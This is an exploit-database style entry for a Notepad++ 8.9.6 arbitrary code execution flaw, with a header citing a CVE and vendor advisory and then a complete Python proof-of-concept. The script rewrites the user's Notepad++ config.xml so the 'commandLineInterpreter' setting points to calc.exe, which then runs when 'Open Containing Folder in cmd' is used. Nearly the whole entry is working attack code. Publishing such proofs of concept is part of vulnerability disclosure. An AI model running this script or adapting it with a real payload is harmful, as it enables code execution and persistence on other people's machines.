📄 Notepad++ 8.9.6 Arbitrary Code Execution

# Exploit Title: Notepad++ 8.9.6 - Arbitrary Code Execution 
    # Date: 2026-05-30
    # Exploit Author: Kavin Jindal (Avyukt Security) https://www.linkedin.com/in/kavin-jindal/
    # Vendor Homepage: https://notepad-plus-plus.org
    # Software Link: https://notepad-plus-plus.org/downloads/v8.9.6/
    # Version: <= 8.9.6
    # Tested on: Windows 10/11
    # CVE: CVE-2026-48778
    # Reference: https://github.com/notepad-plus-plus/notepad-plus-plus/security/advisories/GHSA-7hm3-wp5q-ccv9
    #
    # Description:
    # Notepad++ reads <GUIConfig name="commandLineInterpreter"> from config.xml without
    # validation and passes it to ShellExecute when "Open Containing Folder in cmd" is
    # triggered. An attacker with write access to %APPDATA%\Notepad++\ can inject an
    # arbitrary executable path, resulting in code execution under the current user context. 
    # In the following script, `calc.exe` has been used to demonstrate this vulnerability.
    
    
    import os, sys
    
    
    appdata = os.environ["APPDATA"]
    if not appdata:
        print("[!] APPDATA environment variable not found, exiting..")
        sys.exit()
    
    
    config_path = os.path.join(appdata, "Notepad++", "config.xml")
    existing = os.path.exists(config_path)
    if existing==True:
        print("[+] Found config.xml at ", config_path)
    else:
        print("config.xml not found. Ensure Notepad++ is installed and has been launched atleast once.")
    
    x = open(config_path, 'r')
    s = x.readlines()
    
    payload='<GUIConfig name="commandLineInterpreter">calc.exe</GUIConfig>\n'
    injected=False
    
    for num,i in enumerate(s, start=0):
        if '<GUIConfig name="commandLineInterpreter">' in i:
            print("[!] Injecting payload..")         
            s[num]=payload
            injected=True
            break
        elif "</GUIConfigs>" in i:
            print("[!] Injecting payload..")
            s.insert(num, payload)       
            injected=True
            break
    if not injected:
        print("[!] Payload injection failed.")
        sys.exit(1)
    
    y = open(config_path, 'w')
    y.writelines(s)
    print("[+] Payload injected successfully!")
    print("[+] Testing: Open Notepad++ > File > Open Containing Folder > cmd")
    print("[+] Calc.exe will launch instead of cmd.")
        
    
    print("end")